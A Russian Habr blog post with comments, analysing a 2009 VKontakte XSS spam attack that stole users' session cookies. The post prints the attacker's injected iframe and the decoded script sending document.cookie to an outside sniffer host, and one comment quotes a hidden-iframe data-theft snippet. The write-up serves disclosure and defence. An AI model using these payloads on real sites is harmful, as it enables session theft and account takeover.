войти зарегистрироваться

XSS вконтакте

Предыстория (можно не читать)


Прихожу я сегодня домой и вижу в личке вконтакта 9 сообщений. Т.к. я не особо люблю и не часто посещаю этот ресурс — сие событие было странным. В сообщениях пользователи писали что от меня вконтакте рассылается спам. Плохо, но да ладно, сменил пароль и все… Хотя задумался: старый пароль — 12 символьный цифробуквенный, сбрутить почти нераельно. Комп кристально чист и не заразен… Так в чем же дело?

Разбор полетов


Смотрю текст сообщения, разосланного от моего имени:


привет, этo не cпам!раccылаю этo cooбщение вcем cвoим друзьям.я cегoдня удалю cвoю cтраничку вкoнтакте,дocтал cпам oкoнчательнo.Так чтo,еcли чтo-тo будет нужнo,либo звoни\пиши на мoбильник,либo ищи меня здеcь http://odnonochniki.?tk/,там xoтя бы cпама нету) ,я пoд cвoей фамилией и имнем.вoт так.


И тут понимаю, что мое природное любопытство подвело меня и в этот раз. Вчера аналогичное сообщение пришло мне, ну и естественно, сидя на опере, чуствуя себя в безопасности я перешел по этой ссылке.

А теперь заходим на эту страничку (из незалогиненного браузера!), и смотрим код. Что же мы видим?
В коде подгружается скрытый плавающий фрейм:


<iframe src='http://%76%6b%6f%6e%74%61%6b%74%65%2e%72%75/gsearch.php?q=%27;()())//\%27;document.write(String.fromCharCode(60,115,99,114,105,112,тут было еще много цифр через запятую, которые растягивали страницу и за это их забрало НЛО. Если кому они действительно нужны - в личку))//%22;%3C%3E%22)//\%22;%3C%3E%22%3C%3E%22%22!---%22?%3E#c[q]=%27%3B()())%20%20\&c[section]=people' style='display:none;'></iframe>


Ссылка ведет на заURLencode-нный «vkontakte.ru», к скрипту, выполняющему поиск. Как известно, после процедуры поиска текст запроса выводится обратно пользователю, этим (а также отсутствием должной фильтрации) и воспользовались спамеры в данном случае.
В строку запроса внедряется Javascript-код, в данном случае это закодированый в ASCII код еще одного фрейма:

<script>document.write('<iframe src="http://webzer.vov.ru/s.php?dc='+document.cookie+'" style="display:none;"></iframe>');</script>

Это собственно и есть снифер, на который и улетают куки вконтакта некоторых любопытных пользователей типа меня.

Уязвимость актуальна на момент написания, простой алерт (проверено под оперой) демонстрирует это. В IE не работает, т.к. там нет поддержки протокола «data:», а я не специалист по написанию эксплоитов.

Некоторые выводы


  • Не ходить по левым ссылкам.
  • Безопасный браузер ничего не гарантирует (в данном случае это XSS-уязвимость на «крупнейшем сайте рунета»), а вот бдительность усыпляет


UPD: Пример с алертом перестал работать уже через 3.5 часа после публикации. Для тех, кто не успел посмотреть сохранился скриншот.

комментарии (144)

  • Напомните ссылку на хабраредактор, а то самому страшно.
    • www.bankinform.ru/habraeditor/
    • Судя по тому, что вы перешли по ссылке от явно спам письма, то об этой фразе «Комп кристально чист и не заразен…», можно забыть.
      • Согласен, но в данном случае: Думаю мало кто возьмется спорить с тем при использовании последних версий постоянно развивающихся альтернтивных браузеров выполнение кода на локальной машине практически исключено. С учетом также моего патологически-параноидального отношения к авторанам на флешках, левым экзешникам, с наличием на компьютере продуктов, организующих безопасность на нем в конце концов… Ну следуя из всего этого я так заключил. Все чисто, разве что не блестит =)
  • щас вконтакте подсуетится и закроет дыру. надеюсь.
    • всегда к этому идет, когда подобные вещи вылезают в паблик =)
      • да я же только за. хотя не ясно тогда сколько же получают программисты вконтакте если они допускают такие ошибки (под словом получают имелось ввиду и сумма зп и их проф уровень). это же не сайт васи пупкина. это громадная соц сеть которую должны пробовать на взлом хакеры (само собой по заказу владельцев вконтакте), специалисты по безопасности и тд и тп.

        не понимаю…
        • На этот вопрос Вам ответит вакансия, которая светилась относительно недавно там…
          Вкратце — програмист-верстальщик-дизайнер.
          Хотя со всеми бывает… Может человеческий фактор.
        • раскрыть комментарий
          • 1. не все программисты которые просто хотят денег.
            2. винду делают между прочим на высочайшем уровне на котором ни вам и ни мне не снилось даже. cmm5 в полной мере это вам не вася пупкин ко. а то что у них есть баги — я бы на вас глянул с таким обьемом кода сколько бы там багов было.

            плохо то что программситы знают о дыре и не закрывают.
            либо это кому то выгодно, либо это кому то выгодно :) ибо уважающий себя программист узнав о дыре сразу же полезет ее латать.
            • Это не так. Практически у любого программиста (вне зависимости от уровня самоуважения) есть начальство…
              • значит дыра выгодна начальству, или их начальству и тд…
                лично я не вижу других причин не закрывать зная про нее
                • Причина — деньги. Грубо говоря при выполнении заказа фирмой далеко не всегда в ТЗ оговаривается безопасность создаваемого продукта, или это идет за отдельную цену и влечет за собой какие-либо гарантии.
            • раскрыть комментарий
              • Да-да! А ещё Microsoft стырил идею одинаковые повторяющиеся действия объединять в цикл! ;-)
              • Как вы заебали сунуть свой эппл и ругать винду. Разговор вообще не об этом
                • Ну так обидно купить эпл, в двое заплатить против писи и не получить ничего реально выдающегося. (:
              • Скорее всего имелось ввиду CMMI For Development Maturity Level 5, который крайне тяжело получить.
              • обвините тойоту что украли у форда идею движущийся тележки на четырех колесах…
            • Майкрософту выгодно выпускать Windows с багами, ведь можно будет продать следующую версию Windows, которая безопаснее, удобнее и современнее.
          • Винда? Да ну бросьте, не всегда старый код плох. Или то, что vi уже 33 года, уже не аргумент?
            • Вы считаете, что винду надо сделать в стиле vi? С простым и понятным даже новичку интерфейсом?

              У нее сейчас то интерфейс непонятный, без толстенного мануала не разберешься. а vi вообще человеку нормальному не осилить.
        • раскрыть комментарий
    • Хех. Вконтакте глюки верстки в профиле не могут месяца 3 подправить, только на моей памяти… что уж говорить об программинге :)
      • Думаю, тут приоритеты другие.
    • Дырка жива давно. Народ не чешется.
      • Кстати, да. От жены таким же образом рассылались сообщения чуть ли не полгода назад. После краткой лекции «не ходить по левым ссылкам и т.д.» и смены пароля — более не повторялось.

        А вот у её знакомой в одноглазниках было ещё интереснее: аналогичный спам, но разным людям — разный, причём сделано просто офигенно, и выглядит как продолжение переписки (с цитированием и более-менее осмысленным комментарием), после которого идёт «кстати, я тут в конкурсе участвую, бла-бла-бла....». Самое интересное — конкурс от самих одноглазников. Что ещё интереснее — через пару дней письма самопроизвольно удалились.
        • Вот так и я удалился из Одноклассников. Позорище хуже ВКонтакте.
    • Очень вряд ли — до сих пор вон просмотр скрытых фотографий латают
      • Да мне думается что не латают вовсе — там невелика проблема, исправить все можно за день-другой. При желании, конечно.
        • Ага, некогда — монетизацией, бедные, занимаются :)
  • Судя по сообщениям на форуме их техподдержки — уязвимости полгода минимум, а вот закрывать её они не горят желанием. Сам вчера так же попался :)
    • ответ на описание уязвимости на форуме: «знаем».
      • ну так а что вы хотели, если у них такие сотрудники? :)
        • Как бе — «В работе над новым поиском участвовали лучшие программисты планеты.» © Блог ВКонтакте. :D
        • цитатка как раз оттуда:
          «Если Вы считаете, что для успешной работы программисту требуются специальные тестеры и менеджеры по качеству, мы с Вами живем в разных мирах.»
    • Странно что полгода, ведь gsearch.php появился буквально пару месяцев назад.
      • да, вы правы, я перепутал сообщения. В феврале говорилось о какой-то другой уязвимости. Сабжевая упоминается в начале июня
  • Безопасный браузер ничего не гарантирует (в данном случае это XSS-уязвимость на «крупнейшем сайте рунета»), а вот бдительность усыпляет

    • Случано отправилось…
      Так вот к тому же ФФ есть Noscript, который по идеи такую заразу должен уметь резать.
      • xss — лажа сайта, а не браузера.
        • С этим никто не спорит и исправлять это конечно надо на уровне кода веб-приложения.
          Но страдает от этого «браузер» и поэтому дополнения вроде Noscript безусловно полезны и выполняют свои функции неплохо.
          • посмотрел на описание этого плагина, он же только отключает скрипты для конкретного сайта, в опере (использует автор статьи) такое есть, но толку мало, надо же знать, что сайт с уязвимостью.
            • Почитайте более подробно как работает. Он в по умолчанию отключает все скрипты, а вы уже включаете скрипты для конкретного сайта/домена.
            • Он блокирует все XSS и подозрительные скрипты. Отключать можно гибко, лучший плагин для безопасного серфинга.
              • Что значит «все XSS»? Все скрипты, обращающиеся на сторонние хосты/подгружающиеся со сторонних хостов?
                • The Noscript Firefox extension provides extra protection for Firefox, Flock, Seamonkey and other mozilla-based browsers: this free, open source add-on allows Javascript, Java and Flash and other plugins to be executed only by trusted web sites of your choice (e.g. your online bank), and provides the most powerful Anti-XSS protection available in a browser.
      • за что минусы? у меня noscript по-умолчанию разрешает все скрипты на всех сайтах, но после попытки перейти по ссылке «демонстрирует это» noscript написал, что заблокировал потенциальную xss атаку. так что все он умеет и режет.
        • забыл добавить — никакого алерта не было. попробовал в опере — выскакивает.
        • Не знаю за что минусы, но я подобные вещи не использую т.к. представляется некоторая аналогия такой надстройки с фаерволом и его правилами. Но если фаерволом я реально защищаю свою машину, и впринципе все прозрачно для пользователя разрешается/запрещается, а noscript — зная, как в вебе все подгружается не понять откуда и куда (хосты разные даже в пределах одного ресурса, тот же вконтакте с их серверами фотографий формата csXXX.vkontakte.ru и не только) — не заморачиваюсь в общем, а считаю что все XSS-проблемы должны решаться на стороне сервера. Т.к. на 100% тут noscript всеравно не спасет (нет четких правил что можно, а что нельзя подгружать), а вот время отнимет на то чтобы разбираться со всем этим. Когда я хочу зайти в веб, на какой-нибудь сайтик, посмотреть там фотки гламурненьких машинок и собачек, а не думать о работе, настраивая правила безопасности :) имхо.
          • Ваши бы принципы да веб-разработчикам в уши. Вот оно и решается допустим на том же «В контакте». Решается долго, а в это время происходят атаки, описанные вами же. Пользователям ждать, когда же наконец-то разработчик исправить XSS и «не пользоваться интернетом»? Никто не отрицает того факта, что надо исправлять на стороне сервера, но время обнаружения/исправления/тестирования обычно не такое маленькое как вы себе видимо представляете. Noscript помогает как раз в этот промежуток (когда разработчик наконец-то додумается исправить баг) пользователям избежать атаки.
            • Ну я нигде не сказал что «noscript не нужен», я просто объяснил почему это не является настоящим решением проблемы, и рассказал почему не пользуюсь сам. Раз существует — значит это действительно кому-то нужно, но и не обязательно что нужно сразу всем.
      • для наибольшей безопасности нужен nohtml <_<
  • кстати у меня на незалогиненом в контакте по вашей ссылки для проверки уявзимости выдало запрос на логин и никакого алерта. таки логинится надо чтобы поиск работал.
    • Да, в этом случае надо логиниться, иначе не работает.
    • НЛО прилетело и опубликовало эту надпись здесь.
  • Noscript вам в браузер. Спасает от XXS и от Javascript на ненужных страницах.
    • Клиентская часть защиты это хорошо, но это не устраняет корень проблемы, который как был на сайте, так и есть.
      • Да я все это понимаю, но ошибки будут всегда. От этого никуда не деться, за всем не уследишь. Поэтому Noscript и есть.
        • Вот именно. Ошибки исправлять конечно надо в веб-приложениях, но и Noscript на всякий случай держать не помешает.

          Блин, какие-то умники заминусовали..:(
          • Да не переживай за минусы =) Я вон из -2 год вылезти не могу и не расстраиваюсь =)
  • Дурыч посасывает хуйцы в очередной раз :) А ведь клятвенно заверял, что никаких уязвимостей на их сайте нет и быть не может, а весь спам это из за глупых пользователей, оставляющих свои пароли где попало…
    • Наверно идеальный пользователь в его понимании это тот, который сидит только в контакте и других сайтов для него не существует. Что ж, он пожалуй в безопасности :D Ах да, приложения тоже запускать не желательно
      • Дуров за Интернет и против Экстернета. =)
    • Дуров много что клятвенно заверял =) Про эту уязвимость «девёлопёрам» известно уже месяца 2 точно, воз, как видно, и ныне там =) Получается как в басне, практически =) Дуров весь в белом, аки лебедь, вконтактёры раком… ну и где-то еще с… щуки-спамеры =)
      • … и про отсутствие рекламы в самом начале их развития неоднократно говорилось =)
        • реклама это ладно. я ее просто игнорирую. а они деньги получают. так что не парит. а деньги нужны всем, хоть убей.
          • «но ведь обещали» (с) =)
            • «зарплаты будут больше, жилье дешевле»… слышали все это ;)))
    • Дуров говорил про сферического пользователя в вакууме
    • подобное заявление — уже глупость=))
  • «Эта музыка будет вечной»
  • О, эта уязвимость не нова. Сначала я видел людей, рассылающих друзьям на стены сообщения вида «глянь третий ролик в пятом ряду на этом порносайте, это очень смешно», потом стали приходить уже мне личные сообщения с тестом IQ и фразой «приветик» от довольно брутальных по характеру парней. От этого ведь не защитишься на стороне сервера?
  • Ох уже эти социалки, ох уж эти разработчечги…

    offtop: Не первый год с интересом наблюдаю за всем, что творится в этих вконтактах-одноклассниках-соседях-социалках и тихо радуюсь, что до сих пор так и не зарегистрировался там.
  • >Не ходить по левым ссылкам.
    Неужели это было непонятно раньше? ;)
  • Требуется нотариально заверенный скриншот! :)
    А то у меня нет логиа вконтакте, не могу посмотреть что там по ссылке.
    • Да пожалуйста! Заверить к сожалению не могу, у нас все уже закрыто =)
      • А что означает это 777?
        • Вообще 777 ничего не обозначает, я там просто alert(777); я привык алертить цифры, т.к. если получается с цифрами, то например в этом случае даже фильтрацию на кавычки можно обойти тем же String.fromCharCode(), закодировав нужный код.
          P.S. Хотя нет, наверное все-таки обозначает. Знаете, в рулетке когда 777 выпадает — Удача значит! =)
          • Я делаю alert(1)
  • это не xss, а csrf
    • Это как раз XSS — выполнение кода в контексте безопасности уязвимого сайта. Выполняющийся код имеет доступ к кукам своего домена, в данном случае это vkontakte.ru, а вот сами данные передаются на сторонний сервер
    • Там и то и то
      Сначала csrf а уже внутри xss
      Тема безопасности вконтакте может собрать много прикольных аббревиатур…
      • а… там xss на странице, на которой предупреждение о переходе на сторонний ресурс?
        пардон тогда, это не совсем очевидно из текста поста для людей, которые редко пользуются сабжем.
        • Это не страница вконтакта, это «главная» _там_. На ней все это наглым образом и работает пока пользователь читает текст…
          • если это главная страница там, тогда это csrf.
            где тут xss?
            • В самом контакте. А реализовано все вместе с помощью и CSRF и XSS, да.
            • xss там потому что работает в поле поиска js код
              csrf там потому что можно работать с контактом через чужой сайт заполняя нужные поля автоматом

              ваш КО
              • угу, торможу. спасибо за терпение :-)
          • понял, пардон. торможу.
  • раскрыть комментарий
    • data: это только в мной написанном примере для демонстрации, т.к. меня бы заминусовали если бы я сделал сслыку в iframe на свой файлик с алертом, и правильно бы сделали, т.к. там может быть совсем не алерт.
      А у них полноценный кросс-браузерный прикол.
    • ага, щас еще unity: добавился :)
      • наверное не стоило это писать. Не читайте тот комент :)
  • >ну и естественно, сидя на опере, чуствуя себя в безопасности я перешел по этой ссылке.

    безопастной бывает только гиря без ручки, в квадратном цементном блоке и то не на 100%
    • Гиря в цементном блоке — очень опасная вещь!
      • она без ручки :)
        • Так еще опасней, неудобно перемещать и может выскользнуть
    • да, я порой легкомысленен =)
  • я вот думаю, что вариантом защиты (пока дыру не залатали, разумеется) может быть следующий плагин:
    он смотрит содержимое страницы, декодит все ссылки в plaintext, а потом если находит в них переход на vkontakte.ru с левого сайта, то запрашивает подтверждение у пользователя.
    такие реквесты будут всплывать не часто (у меня может раз в 2 дня), а защита хорошая. что-то типо UAC в висте.
    хорошо было бы все это написать как userjs, да вот только не факт, что яваскрипт успеет вовремя перехватить злобный переход
  • Найдено ERROR near '++++&+092;))#R1000%)' человек (1-ERROR near '++++&+092;))#R1000%)' ).
    Server error

    Это, похоже, не только яваскриптовая, но и внутренняя инъекция!
    • Похоже. Я тоже про это подумал, но времени нет ковырять. М.б. кто-нибудь займется…
    • Наверно, следы недавних доработок поиска. Попробуй найти кого-нибудь с днем рождения, скажем, 30 февраля. А раньше находило. :)
      • Упс. 30 февраля находит, а вот 32 мая — нет.
  • Это же детская ошибка… Капец %)
  • Никогда не будет решена проблема ВКонтакте. Поэтому лучше не открывать ссылки подозрительныее и не будет проблем лишних… Начиная от спама, заканчивая угонами ICQ и тд.
  • Подскажите,

    «Закроется» ли эта бага, если везде будет нормальный escaping?

    (не сотрудник ВКонтакте, интересует потенциально для своих сайтов)
    • Поидее именно это и нужно, но в случае с ajax возможно есть еще какие-либо особенности, о которых я не знаю.
    • Да, закроестся. В php можно использовать функцию htmlspecialchars($text, ENT_QUOTES, ваша кодировка), в smarty |escape:html, в джанго вроде все эскейпится по умолчанию.
  • от любопытных пользователей не спасет никакая защита :)
    не силен в технологии, но куки воруют от многих сайтов, сколько раз уже писали на free-lance.ru про подобные случаи
    У меня для всяких подозрительных ссылок отдельный браузер, с чистыми куками и кэшем, мало ли…

  • Эх, вот не зря у меня на незнакомых сайтах отключены ифреймы, явакрипт, флеш и прочая муть :)) Спасибо Опере за это))
  • мои друзья сегодня тоже получили от меня такую херню.
  • А ещё на вконтакте можно в дате рождения можно ввести 31-е февраля. Какие-то мудаки, честно слово, разрабатывают этот сайт.
    • Мне тоже как-то делать было нечего, результат: 32 фебраля 31337 года. И отрицательный возраст.
  • Noscript отфильтровал потенциальную XSS-атаку

    Так-то )
    • Это исключительно к фразе
      Безопасный браузер ничего не гарантирует
  • Насколько я понимаю, спасет открытие сомнительных ссылок в хроме в режиме инкогнито.
    • теперь и в FF3.5 (на данный момент версия RC)
      но точно ли спасет?
  • Установил Noscript.
  • Уже не работает…
    • Точно. По крайней мере пример из статьи перестал работать… Неужели зашевелились?
      • Да дыру закрыли, а ведь даже жаль… =)
        • Кто ищет — тот найдет ;)
    • ага, видать закрыли.
      • потому что из приватов в массы вышла.
  • > И тут понимаю, что мое природное любопытство подвело меня и в этот раз. Вчера аналогичное сообщение пришло мне, ну и естественно, сидя на опере, чуствуя себя в безопасности я перешел по этой ссылке.

    Я что-то не пойму, кто все-таки виноват? Если я ногой случайно сетевой фильтр выключу — это майкрософт виноват, что я под виндой работаю?

    А вообще опера вроде частично блочит джаваскрипт между фрэймами с разными доменами?
    • Виноват кто? В обеспечении безопасности своего ресурса виноват вконтакт, в обеспечении же своей собственной безопасности, а также в нарушении психического здоровья моих друзей в результате спам-рассылки — виноват я сам =)

      Насчет фреймов. Встречал я вот такой кусочек кода:

      var iframe = document.createElement('IFRAME');
      //have the IFRAME download the content we want to steal
      iframe.src = 'http://site.com/AddressBook.php);
      //make the IFRAME invisible
      iframe.style=«width:0px; height:0px; border: 0px»
      //set our function to call when the IFRAME is done loading
      iframe.onload = callbackFunction;
      //now add the IFRAME to the DOM.
      Document.body.appendChild(iframe);

      Это к слову для организации CSRF. Получается можно загружать и с разных хостов.
  • roem.ru/2009/04/25/addednews10574/
    … durov 25.04.2009 21:55:48 #… Взламывают через фишинговые сайты, как и везде…
    … durov 26.04.2009 07:56:36 #… был слив паролей с сайта free-lance.ru…

    ну и т.д.
  • На самом деле: чем популярнее продукт, тем больше уязвимостей в нем найдут.
    Будь это сайт, машина, телефон(привет iphone с псевдоуязвимостью), самый банальный справочник/учебник.
    По сколько раз их переиздают/пересоздают? и, заметте, не просто так.
    Это нормальный процесс. Отвалилась штукатурка, закрасили
    • Про штукатурку понравилось =)
  • интересно много ли хаброюзеров читают спам приходящий в ящик вкантакте?
    • Ну как минимум я не один «такой умный» =)
      И почему-то кажется что хоть одним глазком его читают все. Хотябы тему сообщения.
  • И только мне начало казаться, что разрабы вконтактика научились на собственных ошибках и стали их меньше делать…
  • document.cookie…

    Если бы они использовали httponly куки для авторизации, то как минимум не пострадали бы пользователи браузеров поддерживающих такие куки:
    www.owasp.org/index.php/HTTPOnly

    Странно что кто то для session id еще использует куки без httponly. Может я чего то не знаю и на это есть причины?
  • Вы определенное редко посещаете контакт) Такое стабильно присылается раз в неделю мне ну и посылается далее -на***- в спам без прочтения. Ну… контакт тот еще дуршлаг)) Хотя у меня всегда складывается ощущение, что большенство, так называемых багов там, сделаны специально) например доступ к закрытым фотоальбомам видео и прочь), но конешно эта дыра к такого рода не относится…
    • Доступ, например, к картинкам как файлам сделан правильно (то, что любой может открытьлюбой файл — картинку). Если прогонять всю медию через серверный скрипт, у них всё там поляжет.
  • вот и выплыл очередной способ заработка вконтакта.
    или вконтакт поддерживает какой-нибудь сумасшедший и щедрый миллионер / РФ?
    или нет?
  • Эхх. А я успел при помощи этой атаки поприкалываться на другом (менял статус у него).
    Хотел было приколоться, сделать сервис «Залогинься на любой аккаунт вконтакта». Не успел :)
Только авторизованные пользователи могут оставлять комментарии. Авторизуйтесь, пожалуйста.